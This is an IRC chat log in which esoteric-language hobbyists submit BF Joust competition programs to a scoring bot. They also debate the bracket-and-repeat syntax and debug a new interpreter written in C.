22:25:41 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
22:26:40 <EgoBot> Score for elliott_shifting_tortoise: 22.2
22:27:04 <Deewiant> !bfjoust overshot (>)*15(>[(-)*127[+]])*15
22:27:12 <elliott> $ ./lance '[>[-]+]' '[>[+]-]'
22:27:12 <elliott> ==========================================
22:27:12 <elliott> Nobody wins (0)
22:27:12 <elliott> Woot
22:27:49 <EgoBot> Score for Deewiant_overshot: 1.6
22:29:22 <Gregor> Deewiant: (-)*127[+] is ... an odd choice.
22:29:34 <Gregor> Since if you leave the flag as is, that'll take for friggin' ever to zero it.
22:29:40 <ais523> how not to do an offset clear!
22:29:40 <Deewiant> I was aiming for mapping_turtle
22:29:49 <Gregor> Ah
22:29:57 <Gregor> Remember polarity :P
22:30:08 <Deewiant> And am unsure why it only wins in one tape size
22:30:18 <Deewiant> Well sure, it'll only win in one polarity
22:30:20 <elliott> Looks like lance does basic programs perfectly, now to ping oerjan so I can get him to briefly walk me through the efficient {}% stuff
22:30:37 <Gregor> elliott: His explanation that you pasted at me was perfec.t
22:30:56 <elliott> Gregor: It's a bit vague and unassured-sounding for my tastes, but okay.
22:31:27 -!- nescience has quit (Ping timeout: 240 seconds).
22:33:12 <Deewiant> !bfjoust misoffset (>)*8(>[(-)*127[+]])*21
22:34:44 <elliott> !bfjoust be_well_to_strangers -------------------------------------------------------------------------------------------------------------------------------[----++++]
22:35:33 <elliott> 16:19:28 <elliott> 13:54:34 <oerjan> elliott: basically ( pushes starting count on the stack, { iterates back to matching ( or pops, } pushes like (, and ) iterates or pops
22:35:33 <elliott> 16:19:28 <elliott> 13:55:13 <oerjan> and provided [] matches inside () and inside {} like the rule is supposedly already, it should all work
22:35:33 <elliott> 16:19:28 <elliott> 13:56:05 <oerjan> hm i guess } and ) need to count the reverse way of ( and {
22:35:54 <elliott> hmm Gregor do you make sure to take into account that (){} all take 0 ticks
22:36:04 <Gregor> elliott: Of course.
22:36:08 <elliott> kay :P
22:36:12 <elliott> I can easily do that with... A GOTO
22:36:22 <Gregor> Or ... a while loop :P
22:36:23 <Deewiant> (()*100+())*100*10
22:36:44 <elliott> 16:19:28 <elliott> 13:56:05 <oerjan> hm i guess } and ) need to count the reverse way of ( and {
22:36:46 <elliott> What's that supposed to mean
22:37:20 <EgoBot> Score for elliott_be_well_to_strangers: 14.7
22:37:21 <EgoBot> Score for Deewiant_misoffset: 12.9
22:37:22 <Gregor> I'm not sure, I thought it was in reference to the fact that ({ are a matching pair and }) are a matching pair.
22:37:36 <elliott> Right.
22:37:57 <Gregor> In his head probably he was counting up for one, then doing the middle, then counting down, but of course you don't NEED to do it that way.
22:38:25 <elliott> Right.
22:38:28 <elliott> You can just reset the count
22:38:35 <Deewiant> !bfjoust hayaku (>)*8(>[[+]])*21
22:38:35 <elliott> To be what it is in the program
22:38:45 <Gregor> Yuh
22:39:02 <elliott> The instructions in lance:
22:39:11 <elliott> ENDP, DINK, DONK, ONWD, RTRT, WAIT, LOOP, POOL, PARE, ERAP, ONCE, ECNO
22:39:12 <elliott> best ever
22:39:15 <EgoBot> Score for Deewiant_hayaku: 6.6
22:39:28 * Gregor huggles mapping_turtle
22:39:47 <Deewiant> !bfjoust hayaku (>)*8(>[(-)*11[+]])*21
22:40:29 <EgoBot> Score for Deewiant_hayaku: 12.4
22:40:45 <Deewiant> !bfjoust ac (>)*8(>[(-)*11[+]]>[(+)*11[-]])*10>(-)*127[+]
22:41:58 <EgoBot> Score for Deewiant_ac: 12.1
22:42:44 <Deewiant> !bfjoust ac +(>->+)*4(>[(-)*11[+]]>[(+)*11[-]])*10>(-)*127[+]
22:43:29 -!- nescience has joined.
22:43:29 <EgoBot> Score for Deewiant_ac: 23.9
22:43:38 <nescience> I eventually got it
22:43:45 <Deewiant> Darn, mapping_turtle is still 0.02 score higher than the second
22:43:55 <Gregor> D-8
22:43:56 <nescience> I was expecting it to show up in the wifi list like my (windows 7) laptop
22:44:01 <Gregor> Only .02, 'snot enough
22:44:01 <Deewiant> !bfjoust ac +(>->+)*4(>[(-)*11[+]]>[(+)*11[-]])*10
22:44:03 <nescience> whoops wrong channel
22:44:14 <Gregor> Deewiant: WHY YA GOTTA BRING ME DOWN
22:44:19 <Deewiant> BECAUSE
22:44:33 <Deewiant> I don't like jousters at the top that all my programs beat :-D
22:44:42 <Gregor> lol
22:44:53 <EgoBot> Score for Deewiant_ac: 22.1
22:45:03 <Deewiant> Bah
22:45:44 <elliott> Man, I should probably use a less hacky parser than I'm using now, it's insane.
22:45:47 <elliott> (When expanding to () :P)
22:48:12 <elliott> Gregor: Am I right in thinking that * and % are treated identically with these semantics?
22:48:42 <Gregor> elliott: I ignore which is used in egojsout :P
22:49:03 <Gregor> Since your use of {} or not implies % or *
22:49:06 <elliott> Gregor: Propose, perhaps, that we deprecate % in favour of * then?
22:49:14 <elliott> % is quite an ugly character.
22:49:15 <Gregor> If ais523 agrees.
22:49:19 <elliott> HEY ais523!
22:49:25 <elliott> AGREE TO OUR DEMANDS
22:49:41 <ais523> I was just trying to make the difference clearer
22:49:53 <Gregor> AGREE
22:49:53 <ais523> and I think they might be different with oerjan's idea of (( {{}})%n)%n
22:49:53 <Gregor> TO
22:49:54 <Gregor> OUR
22:49:56 <Gregor> DEMANDS
22:50:02 <ais523> why don't you just parse them as identical?
22:50:17 <Gregor> ais523: That's what I do, and wtf does (({{}})) do
22:50:18 <elliott> ais523: they're not different with his idea
22:50:30 <elliott> Gregor: You handle that with the algo oerjan gave you
22:50:35 <elliott> it's what he invented it for
22:50:36 <Gregor> Goodie :P
22:50:45 <elliott> ais523: Parsing them as identical, suuure, but redundant syntax is irksome. Especially in BF.
22:51:03 <ais523> context-sensitive commands is irksome too
22:51:09 <elliott> ais523: Eh?
22:51:10 <ais523> but I don't really care
22:51:14 <elliott> { and } aren't context-sensitive the way oerjan does it.
22:51:20 <elliott> { is a right bracket to ('s left.
22:51:22 <elliott> In a sense.
22:51:28 <elliott> It's just that } looks at the ( before it.
22:51:45 <ais523> yep, and then for the % after the matching )
22:51:52 <elliott> ais523: no
22:51:58 <elliott> that's not how it works in oerjan's semantics
22:52:00 <elliott> you store the count in the (
22:52:01 <ais523> otherwise, how does it know how many times to repeat?
22:52:02 <elliott> well
22:52:08 <elliott> you could store it in the ) too, but it'd be redundant.
22:52:21 <ais523> ah, so the ( copies the count from the )% on parse?
22:52:27 <elliott> yes
22:52:31 <elliott> ais523: <oerjan> elliott: basically ( pushes starting count on the stack, { iterates back to matching ( or pops, } pushes like (, and ) iterates or pops
22:52:35 <ais523> in that case % does need to be different from *, as the ( wouldn't copy the count from a )*
22:52:42 <elliott> untrue
22:52:43 <elliott> <oerjan> elliott: basically ( pushes starting count on the stack, { iterates back to matching ( or pops, } pushes like (, and ) iterates or pops
22:53:14 <elliott> egojsout does it this way :P
22:53:41 <elliott> Also: Do we forbid *0? I kind of like it because you can use it for comments.
22:53:45 <elliott> (Hello, world! ...)*0
22:53:55 <ais523> ooh, I like *0 for comments too
22:54:08 <ais523> as [...][comment] isn't a comment in BF Joust
22:54:18 <elliott> You could even strip it (but I won't bother to start with since it'll be skipped over immediately).
22:54:20 * Gregor fixes that in egojsout :P
22:54:30 <elliott> Gregor: Fixes what, *0?
22:54:34 <Gregor> Yeah
22:54:35 <elliott> Woo, so I have to use strtol because atoi uses 0 to signal errors :P
22:55:17 <ais523> that's quite some error recovery
22:55:47 <elliott> ais523: ?
22:55:53 <oerjan> <Gregor> In his head probably he was counting up for one, then doing the middle, then counting down, but of course you don't NEED to do it that way. <-- um yes you do. that's the way you ensure that jumping directly between [] in there doesn't require changing the counter stack
22:55:58 <ais523> using a legit return as an error return
22:56:15 <elliott> Bleh, strtol allows whitespace before the number. I'll just parse it manually.
22:56:19 <elliott> Base 10, how hard can it be.
22:56:23 <nescience> oh, are you writing the new interpreter?
22:56:27 <elliott> Yes.
22:56:34 <elliott> nescience: With efficient () parsing.
22:56:41 <elliott> nescience: Note that (a{b}c)%n is now (a{b}c)*n.
22:56:45 <nescience> sweet
22:56:50 <nescience> why
22:56:57 <elliott> Because % turned out to be redundant.
22:57:10 <nescience> meh, it should accept both
22:57:11 <quintopia> !bfjoust superfast_jellyfish +>(+)*128>>>>>>>>([-[++[(+)*15[(.-)*3]]]]>)*21
22:57:16 <elliott> nescience: Additionally, (A[B)*nC(D]E)*n is Highly Deprecated, but will be supported with a preprocessor.
22:57:19 <nescience> for compat with old programs
22:57:22 <elliott> nescience: Please use {} in future programs.
22:57:26 <nescience> sure
22:57:35 <elliott> nescience: Such repeats _without_ trivially-matching []s are *banned*.
22:57:35 <nescience> I only used the other because the % loop failed
22:57:40 <elliott> Right.
22:57:56 <nescience> like, I wrote it and it didn't work
22:57:58 <elliott> Banned as in the program will literally reject them because interpreting them efficiently is ~impossible.
22:58:01 <elliott> nescience: Yeah, blame egojoust :P
22:58:09 <nescience> :P
22:58:24 <oerjan> <ais523> and I think they might be different with oerjan's idea of (({{}})%n)%n <-- not that i know of
22:58:48 <ais523> oerjan: ((({{}})%n)*n)%n, insert commands between the parens as appropriate
22:58:49 <nescience> how fast does it do Defend now? :)
22:59:05 <ais523> the {s couldn't tell which *s they matched if % and * were the same character
22:59:31 <nescience> just don't allow traversal of } and )?
22:59:50 <nescience> if everything is balanced it should be able to tell
23:00:19 <elliott> ais523: are you sure?
23:00:43 <ais523> elliott: ((({{}})*)%)% has different semantics from ((({{}})%)%)*
23:00:47 <elliott> fprintf(stderr, "%d : Oi -- you have a * not followed by a digit. Did your parents drop you on your head as a kid?\n", n);
23:00:47 <elliott> Inspired by lambdabot:
23:00:48 <elliott> @src foo
23:00:48 <lambdabot> Source not found. I can't hear you -- I'm using the scrambler.
23:00:50 <elliott> @src foo
23:00:50 <lambdabot> Source not found. You speak an infinite deal of nothing
23:00:52 <ais523> (assuming there are actual commands and numbers there)
23:00:52 <elliott> @src foo
23:00:53 <lambdabot> Source not found. My pet ferret can type better than you!
23:00:54 <elliott> @src foo
23:00:54 <lambdabot> Source not found. My pet ferret can type better than you!
23:00:55 <elliott> @src foo
23:00:55 <lambdabot> Source not found. Sorry about this, I know it's a bit silly.
23:00:59 <elliott> @src foo
23:00:59 <lambdabot> Source not found. You speak an infinite deal of nothing
23:01:04 <elliott> Argh, where's the insulting ones :P
23:01:05 <oerjan> <elliott> { and } aren't context-sensitive the way oerjan does it. <-- actually it is slightly context-sensitive, you actually need to do that ({ and }) matching separately from the rest, so it's the _intersection_ of two context-free languages (i just thought this up while away)
23:01:05 <elliott> @src foo
23:01:05 <lambdabot> Source not found. I am sorry.
23:01:12 <elliott> @src foo
23:01:12 <lambdabot> Source not found. Do you think like you type?
23:01:18 <elliott> oerjan: i wasn't talking language-wise :D
23:01:18 <ais523> that seems rather un-Haskellish
23:01:20 <elliott> @src foo
23:01:21 <lambdabot> Source not found. That's something I cannot allow to happen.
23:01:23 <elliott> @src foo
23:01:23 <lambdabot> Source not found. :(
23:01:25 <elliott> @src foo
23:01:25 <lambdabot> Source not found. Wrong! You cheating scum!
23:01:26 <elliott> fff
23:01:35 <elliott> I give up :P
23:01:38 <ais523> also, what's with the spaces in that last message?
23:01:45 <ais523> @src :
23:01:45 <lambdabot> Source not found.
23:01:51 <elliott> ais523: presumably the insults are in a separate list
23:01:54 <ais523> hmm, no source for :?
23:01:57 <elliott> to the "Source not found." message
23:01:57 <nescience> Stop criminal scum?
23:01:58 <elliott> @src (:)
23:01:58 <lambdabot> Source not found. You speak an infinite deal of nothing
23:02:05 <elliott> it's a constructor
23:02:07 <elliott> so hardly surprising
23:02:09 <elliott> but you need the ()s
23:02:13 <nescience> @src nescience_shade
23:02:13 <oerjan> <ais523> in that case % does need to be different from *, as the ( wouldn't copy the count from a )* <-- ( doesn't _have_ to be different, although either ( or ) must be slightly different i think
23:02:13 <lambdabot> Source not found. Just what do you think you're doing Dave?
23:02:14 <quintopia> can we not disallow (({{}}))? it seems more complicated than it's worth
23:02:15 <ais523> so, it still needs to be declared somewhere
23:02:33 <elliott> oerjan: hmm, so we still need %?
23:02:35 <elliott> tell Gregor
23:02:36 <ais523> oerjan: the thing is about knowing which */% matches which ( when parsing
23:02:38 <elliott> he doesn't distinguish between them
23:02:51 <ais523> you can use the same representation at runtime I think
23:02:59 <ais523> but you need to initialise the counts differently at parsetime
23:03:05 <nescience> obviously it belongs to the one at the proper level
23:03:32 <nescience> I must be missing something here because it seems obvious
23:03:38 <nescience> but I came in in the middle
23:04:05 <elliott> i agree with nescience
23:04:16 <elliott> oerjan: can you test your example with Gregor's efobfjsoust?
23:04:20 <Gregor> Oooh, look who's still #1 on the hill.
23:04:25 <elliott> it doesn't distinguish * and % and implements your trick
23:04:29 <ais523> oerjan: what are the semantics of (({})*)% meant to be anyway?
23:05:13 -!- FireFly has quit (Quit: swatted to death).
23:05:26 <ais523> I don't see how it makes any sense at all
23:05:33 -!- hagb4rd has quit (Quit: hagb4rd).
23:05:37 <ais523> e.g. what does (a(b{c}d)*2)%2 expand to?
23:05:41 <Gregor> I can't think of anything that is both sensible and not super-confusing.
23:06:13 <EgoBot> Score for quintopia_superfast_jellyfish: 33.6
23:06:22 <quintopia> that took wai too long :P
23:06:56 <nescience> that looks an awful lot like careless, what differentiates it? it seems to attack every other cell?
23:07:02 <elliott> No speed complaints until lance is deployed :P
23:07:12 <quintopia> GUESS WHICH GUISE! shudderalikes are about to fall off the scoreboard...
23:07:27 <nescience> woot
23:07:47 <elliott> lance.c:182: error: a label can only be part of a statement and a declaration is not a statement
23:07:48 <elliott> What
23:08:00 <elliott> quintopia: Because you've been doing things in /msg and hiding things from us? :|
23:08:02 <Gregor> OHHEY
23:08:03 <Gregor> Dirk is gone
23:08:05 <Deewiant> elliott: "int x:"?
23:08:12 <elliott> Deewiant: "int repeat = 0;"
23:08:17 <elliott> nescience: join my anti-/msg-submitters brigade!
23:08:19 <elliott> Brigade I tell you.
23:08:20 <Deewiant> elliott: Run clang over it :-P
23:08:21 <elliott> Brigade.
23:08:23 <quintopia> nescience: the innovation i was hoping would accomplish something was the [(.+)*3] thing
23:08:27 <elliott> Deewiant: Heh
23:08:30 <oerjan> <ais523> oerjan: ((({{}})%n)*n)%n, insert commands between the parens as appropriate <-- i consider that illegal with my implementation idea, since it would require keeping track of _which_ iteration of *n you are recursing, each time. there should intuitively be only _one_ {} for each () after expansion
23:08:31 <quintopia> elliott: not since you complained this morning
23:08:41 <nescience> I meant mapping turtle
23:08:42 <oerjan> (of other things)
23:08:46 <elliott> quintopia: oh, so you're just going to like
23:08:47 <elliott> WHAMMY us
23:08:48 <elliott> in one god
23:08:49 <elliott> *go
23:08:51 <elliott> i'm preparing myself
23:08:53 <elliott> emotionally
23:08:58 <ais523> oerjan: indeed, I mentioned a little later that it didn't make any sense
23:09:00 <nescience> looks similar to careless.. just attacks +-16 and moves on
23:09:02 <quintopia> wat?
23:09:10 <elliott> quintopia: <quintopia> GUESS WHICH GUISE! shudderalikes are about to fall off the scoreboard...
23:09:10 <ais523> so we're banning {} if there's a * inside the matching %?
23:09:12 <ais523> that makes sense
23:09:28 <elliott> ais523: Rather, it'll just take on whatever interpretation it takes on, since again * = % for all legal programs.
23:09:28 <ais523> are shudderalikes popular because they're easy to write?
23:09:28 <quintopia> elliott: well, yeah. i mean. as soon as some more good programs get submitted :P
23:09:37 <elliott> And since illegal programs are... illegal, we can again unify * and % :P
23:09:44 <ais523> yep
23:09:52 <nescience> probably because they succeed
23:10:08 <nescience> but with the work I did the other day they should be easier to trivially beat
23:10:09 <elliott> Their easy-to-writeness is nice, though
23:10:13 <elliott> Anyone can write a shudder :P
23:10:28 <elliott> Nice as in appealing.
23:10:35 <ais523> <da Doctah> My college required two years of a foreign language as an entrance requirement; I managed to get them to accept Fortran.
23:10:41 <nescience> they are actually kind of elegant
23:10:51 <elliott> Deewiant: lance.c:182:9: error: expected expression
23:10:51 <elliott> int repeat = 0;
23:10:51 <elliott> ^
23:10:51 <elliott> Helfpul
23:10:54 <quintopia> 44 26 20.53 -20.79 impomatic_self_aware_brainfuck.bfjoust
23:11:00 <nescience> but I don't like them because they kind of can't be successful by definition
23:11:02 <quintopia> what a huge disparity
23:11:03 <elliott> Context:
23:11:05 <elliott> switch (*p++) {
23:11:05 <elliott> case '*':
23:11:05 <elliott> int repeat = 0;
23:11:07 <ais523> elliott: is that a clang message?
23:11:12 <elliott> ais523: yep
23:11:13 <Deewiant> elliott: You can't put a declaration there
23:11:17 <Deewiant> elliott: It's correct :-P
23:11:20 <elliott> Deewiant: I'm in C99
23:11:20 <ais523> elliott: ah, you can't label a declaration, only a statement
23:11:26 <elliott> I want to put declarations EVERYWHERE
23:11:26 <Deewiant> elliott: It doesn't matter
23:11:35 <elliott> Dammit C, I hate your guts.
23:11:37 <ais523> case '*': ; int repeat = 0;
23:11:38 <Deewiant> elliott: switch (*p++) { int repeat; case '*': repeat = 0;
23:11:40 <Gregor> nescience: http://codu.org/eso/bfjoust/egojsout/
23:11:42 <elliott> Yes, done.
23:11:44 <elliott> But sitll.
23:11:44 <elliott> So ugly.
23:11:46 <elliott> *still
23:11:54 <ais523> it's rare you find a legit use for the null statement
23:11:55 <oerjan> <elliott> oerjan: hmm, so we still need %? <-- no, you can consider just whether there is matching {} inside (see previous comments)
23:12:05 <elliott> lance.c:181: warning: ‘repeat’ may be used uninitialized in this function
23:12:06 <nescience> gregor: ?
23:12:07 <nescience> looks like typo :P
23:12:11 <Gregor> 'snot
23:12:12 <elliott> I DOUBT IT, GCC
23:12:18 <elliott> oerjan: you don't even have to, do you?
23:12:23 <elliott> you can just do the same thing for ( and ) always
23:12:47 <nescience> oh nice
23:12:50 <elliott> $ ./lance '(abc)*0' ''
23:12:50 <elliott> 1 : Oi -- you have a * not followed by a digit. Did your parents drop you on your head as a kid?
23:12:50 <elliott> I don't like my program's error messages when they're wrong
23:13:05 <Gregor> nescience: Click a particular run in the breakdown (if you didn't already)
23:13:05 <nescience> but too hard to use on my phone
23:13:10 <nescience> oh!
23:13:21 <nescience> I thought I was supposed to enter code :)
23:13:29 <Gregor> You can ...
23:13:33 <Gregor> You misunderstood :P
23:13:41 <Gregor> After you do a run, it shows the breakdown. Click on an element of the breakdown
23:13:51 <oerjan> <quintopia> can we not disallow (({{}}))? it seems more complicated than it's worth <-- it's not _that_ complicated :(
23:13:55 <elliott> Gregor: Would be nice if EgoJSout printed the final result of a battle.
23:14:18 <oerjan> you have to do most of the algorithm just for a single level anyway
23:14:31 <nescience> nice work!
23:14:35 <elliott> "(128(128+)128(128-)128)128" I like your debug output, Gregor, I like it a lot :P
23:14:36 <nescience> that is really cool
23:14:36 <quintopia> elliott: it prints everything you need to know!
23:14:48 <elliott> Hmm, putting the repeat in the ) too is probably a good idea.
23:15:02 <nescience> but as the author I was just asking what you did to improve on the idea in careless that was so effective
23:15:12 <Gregor> elliott: I can't decide how sarcastic you're being :P
23:15:31 <elliott> Gregor: Well it, er, could have less 128s in there.
23:15:38 <oerjan> <ais523> but you need to initialise the counts differently at parsetime <-- um the counts are initialized at runtime, not parsetime
23:15:46 <elliott> Also for compulsive clickers like me, it's annoying clicking to the right of the playfield and having shit appear :P
23:15:48 <nescience> I just don't have the flexibility to really take it on on my phone :P not trying to be lazy
23:15:55 <ais523> err, you need to initialise the value the count initialises to at parsetime
23:16:41 <ais523> nescience: decoytuner improves on careful by detecting opponents who use small decoys and using a standard offset clear in such cases
23:17:09 <nescience> referring to mapping turtle
23:17:20 <ais523> yep, I'm not sure why that one works so well at all
23:17:28 <elliott> Sheer bloody-mindedness
23:17:30 <nescience> first glance seems very similar to careless but maybe it skips every other cell or something
23:17:35 <nescience> lol
23:17:55 <elliott> It's independent work, I think.
23:18:08 <ais523> 128 detection is a time-honoured strategy, but it never used to work well
23:18:13 <nescience> didn't quite mean that it wasn't
23:18:15 <oerjan> <ais523> e.g. what does (a(b{c}d)*2)%2 expand to? <-- _if_ it's allowed, it would be -> (ab{c}db{c}d)%2 -> ababcdbcddbabcdbcdd
23:18:18 <ais523> then a few people decided to try it again and it worked quite well
23:18:32 <nescience> just that I think they work pretty similar so what makes the difference in the results
23:18:39 <oerjan> (assuming we distinguish * and %)
23:19:09 <ais523> we should go all the way, and allow BF Joust programs to be generated from 1cnis progams
23:19:13 <nescience> I think nesting () inside {} should be illegal if it crosses the braces
23:19:13 <ais523> *programs
23:19:26 <nescience> if it includes either of them really
23:19:32 <ais523> yep, we came to that consensus, I think
23:19:53 <elliott> <oerjan> (assuming we distinguish * and %)
23:19:57 <elliott> what if we don't?
23:19:58 <elliott> oh right
23:19:58 <ais523> and I don't see what sane meaning can be given to, say, (a{b)*2c}d)%2
23:20:02 <elliott> then it does the obvious
23:20:08 <nescience> ais, I don't remember any programs much like careless.. I just noticed all the attackers were loop based and wanted to write one that wasn't
23:20:17 <elliott> To be honest, (a(b{c}d)*2)%2 seems so ridiculously useless :P
23:20:26 <nescience> it had a wider attack range at first but I wound up narrowing it way down
23:20:27 <elliott> Unifying * and % is worth it
23:20:38 <ais523> nescience: impomatic_Nyarlathotep has no control flow, IIRC
23:20:40 -!- hagb4rd has joined.
23:20:51 <ais523> it's a tripewireless defence program
23:20:54 <nescience> yeah but it is basically a defender
23:20:59 <ais523> yep
23:21:00 <nescience> I meant straight attack
23:21:30 <nescience> but regardless, the question is why mapping turtle scores so much better ;)
23:21:48 <nescience> oh I get my phone back,gonna update the rom
23:21:58 <oerjan> <ais523> so we're banning {} if there's a * inside the matching %? <-- if we ignore the difference of * and %, then each ( must match a ) or { and each } must match a ) in that second context-free language (the first being ordinary matching of all types of brackets)
23:22:09 <oerjan> is what i figured recently
23:22:54 <quintopia> !bfjoust zip >>>>+<(+)*64)<(-)*64<(+)*128(>)*8([(.-)*15(.+)256[.-]])*21
23:24:11 -!- ais523 has quit (Remote host closed the connection).
23:24:36 <quintopia> mapping turtle scores so well not because it beats a lot of programs, but because it beats the *right* programs
23:25:03 <EgoBot> Score for quintopia_zip: 0.0
23:25:10 <quintopia> lul
23:25:17 <quintopia> did i screw that up
23:25:18 <oerjan> <elliott> you can just do the same thing for ( and ) always <-- no. in * assuming the ( does not set the counter to max (i.e. it starts zero instead), then ) must increment it, while for % ) must decrement it. vice versa if ( _does_ set the counter to max
23:25:28 <Deewiant> quintopia: You don't > in the *21
23:25:34 <quintopia> oh
23:25:36 <quintopia> duh
23:25:38 <quintopia> :P
23:25:45 <quintopia> !bfjoust zip >>>>+<(+)*64)<(-)*64<(+)*128(>)*8([(.-)*15(.+)256[.-]]>)*21
23:25:57 <EgoBot> Score for quintopia_zip: 0.0
23:26:03 <elliott> <oerjan> <elliott> you can just do the same thing for ( and ) always <-- no. in * assuming the ( does not set the counter to max (i.e. it starts zero instead), then ) must increment it, while for % ) must decrement it. vice versa if ( _does_ set the counter to max
23:26:06 <elliott> Gregor: How do you handle this
23:26:18 <Deewiant> quintopia: You close two ] in the ()
23:26:27 <Deewiant> Oh, no, that's right
23:26:41 <Deewiant> Oh
23:26:48 <Deewiant> quintopia: (.+)256 instead of (.+)*256
23:26:53 <quintopia> ....
23:26:54 <quintopia> duh
23:26:59 <quintopia> !bfjoust zip >>>>+<(+)*64)<(-)*64<(+)*128(>)*8([(.-)*15(.+)*256[.-]]>)*21
23:27:00 <Gregor> elliott: I'm thinking about it, I'm not sure whether that makes sense to me ...
23:27:07 -!- nescience has quit (Ping timeout: 272 seconds).
23:27:14 <EgoBot> Score for quintopia_zip: 1.0
23:27:20 <quintopia> okay, better :P
23:27:31 <Deewiant> :-P
23:27:43 <elliott> oerjan: ^
23:27:53 <Deewiant> (.+)*256 seems excessive
23:27:58 <quintopia> it probably is
23:28:12 <quintopia> 135 or so would be enough
23:28:23 <quintopia> !bfjoust zip >>>>+<(+)*64)<(-)*64<(+)*128(>)*8([(.-)*15(.+)*135[.-]]>)*21
23:28:34 <EgoBot> Score for quintopia_zip: 1.0
23:28:56 <quintopia> not quite enough
23:29:05 <quintopia> !bfjoust zip >>>>+<(+)*64)<(-)*64<(+)*128(>)*8([(.-)*15(.+)*150[.-]]>)*21
23:29:48 <EgoBot> Score for quintopia_zip: 1.0
23:29:50 <quintopia> oh
23:29:53 <quintopia> i see
23:30:37 <quintopia> it's just a terrible idea!
23:30:43 <Deewiant> :-D
23:30:46 * quintopia goes away now
23:31:19 <quintopia> well, first i want to see how the thing with the thing does...
23:31:19 <oerjan> <ais523> and I don't see what sane meaning can be given to, say, (a{b)*2c}d)%2 <-- indeed as i said i consider all brackets needing matching in the ordinary sense. only [] could even _consider_ an exception, the way egojoust applies it
23:31:20 <Deewiant> !bfjoust zap >>>>+<(+)*64)<(-)*64<(+)*128(>)*8([(.-)*15(.+)*25[.-]]>)*21
23:31:35 <EgoBot> Score for Deewiant_zap: 1.0
23:32:13 <Gregor> Deewiant: ITYM "crap"
23:32:27 <Deewiant> Gregor: No, I wanted an edit distance of 1 from zip
23:32:36 <Deewiant> I might've meant "zit"
23:32:37 <oerjan> <elliott> To be honest, (a(b{c}d)*2)%2 seems so ridiculously useless :P <-- well with a higher %n it can give exponentially sized programs
23:33:07 <elliott> oerjan: But can it give _reasonable_ exponentially-sized programs?
23:33:15 <elliott> I can't think of any way to use it without my brain stack overflowing.
23:33:23 -!- pumpkin has changed nick to djtiesto.
23:33:24 <Gregor> oerjan: HOWWWWWWWWWwwwwwwtf does that even mean?
23:34:05 <elliott> See, it even breaks Gregor.
23:34:07 <elliott> ON THE OTHER HAND
23:34:20 <elliott> I can see competition getting so fierce that exponentially sized programs are worthwhile.
23:34:29 <Gregor> You have 100K cycles.
23:34:32 -!- djtiesto has changed nick to copumpkin.
23:34:33 <Gregor> Exponential programs = nonsense.
23:34:34 <elliott> oerjan: but note that because of the stack limit, after a certain point, large programs stop making sense
23:34:36 <elliott> Gregor: Untrue.
23:34:40 <elliott> Gregor: Consider lots and lots of control flow.
23:34:55 <elliott> You might have a problem that consists of essentially five thousand special cases.
23:35:02 <Gregor> Can you do that with (({})*)%?
23:35:05 <elliott> An exponential repeating mechanism might come in useful.
23:35:06 <elliott> I dunno, ask oerjan :P
23:35:32 <Gregor> oerjan: Tell us what (a(b{c}d)*2e)%2 expands to
23:35:47 <oerjan> <Gregor> elliott: I'm thinking about it, I'm not sure whether that makes sense to me ... <-- once again, the left side of ({})% needs to increment the counter if the right side decrements it, so that matching nesting levels have the _same_ counter value, allowing jumping between [ and ] in there with no further adjustment of the counter stack
23:36:22 <Gregor> OHHHHHHHHHH I seeeeeeeeeeeeehmmmmmmmmmm do I handle that some other way? X-P
23:36:53 <quintopia> !bfjoust zup (>+)*3(>)*5((+)*128<)*4(>)*5([(-.)*135(+.)*135>)*21(])*21
23:37:10 -!- nescience has joined.
23:37:16 <oerjan> note: (a)*n can be considered an abbreviation for (a{})%n or ({}a)%n. each of those give different implementations of ()*n given the one for ({})%n
23:37:18 <Deewiant> I thought that was disallowed?
23:37:27 <elliott> Or (half of a{}half of a)%n
23:37:29 <EgoBot> Score for quintopia_zup: 2.1
23:37:31 <elliott> Deewiant: It's not in egojoust.
23:37:34 <quintopia> ha
23:37:46 <Deewiant> Oh, I thought we switched already, for some reason
23:38:38 <elliott> Deewiant: But it looks like that one fits the form (A[B)*nC(D]E)*n, which is easily convertible to (A[B{C}D]E)*n.
23:38:41 <Sgeo_> Dominion episode!
23:38:45 <elliott> Which I'll write a preprocessor to lance to do.
23:38:52 <elliott> And then summarily remove when said programs get replaced.
23:38:53 <Sgeo_> Would you rather I deadblog?
23:39:11 <coppro> dominion episode?
23:39:39 <Sgeo_> This episode seems to relate to the Dominion War
23:39:43 <Sgeo_> Erm, upcoming
23:39:45 <quintopia> !bfjoust zup (>+)*3(>)*5((+)*128<)*5(>)*6([(-.)*135(+.)*135>)*21(]>)*21
23:39:56 <coppro> oh, ds9
23:39:56 <coppro> bleh
23:40:20 <EgoBot> Score for quintopia_zup: 2.2
23:40:38 <oerjan> <Gregor> oerjan: HOWWWWWWWWWwwwwwwtf does that even mean? <-- note that a program of _depth_ 100000 can still have size > 2^100000 after expansion, and (a(b{c}d)*2)%100000 would be an example
23:41:23 <Gregor> oerjan: I honestly have no idea what that would even expand to, I can't argue about whether the expansion makes sense when there's no obvious expansion.
23:41:52 <Sgeo_> I remember something the wiki said about these two episodes.....
23:41:59 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
23:42:21 <oerjan> <Gregor> Can you do that with (({})*)%? <-- don't know, but (...{}...{}...)% looks more plausible...
23:42:40 <Gregor> oerjan: JUST SHOW ME THE DAMNED EXPANSION >_<
23:42:45 <elliott> oerjan: that could actually work
23:42:49 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:42:51 <elliott> oerjan: if { scans backwards to the last ( in-code
23:43:21 <Gregor> Won't work in ego*, matching is static.
23:43:34 <Gregor> And all stored in the (
23:43:40 <coppro> what do curlies do again?
23:43:51 <Gregor> pooppy: (a{b}c)*2 = aabcc
23:43:57 <coppro> ah
23:44:06 <coppro> you mean %2
23:44:14 <Gregor> Sure, why not :P
23:44:29 <elliott> No, he doesn't.
23:44:31 <elliott> He means *2.
23:44:35 <elliott> Someone forward that to crapppy.
23:44:55 <oerjan> <Gregor> oerjan: Tell us what (a(b{c}d)*2e)%2 expands to <-- ababcdbcdedbabcdbcdede, i think
23:45:26 <Gregor> oerjan: What - the - fuck
23:45:31 <elliott> Gregor: Tell him about the ENTERPRISE LANGUAGE CHANGES, we can't have people lagging behind.
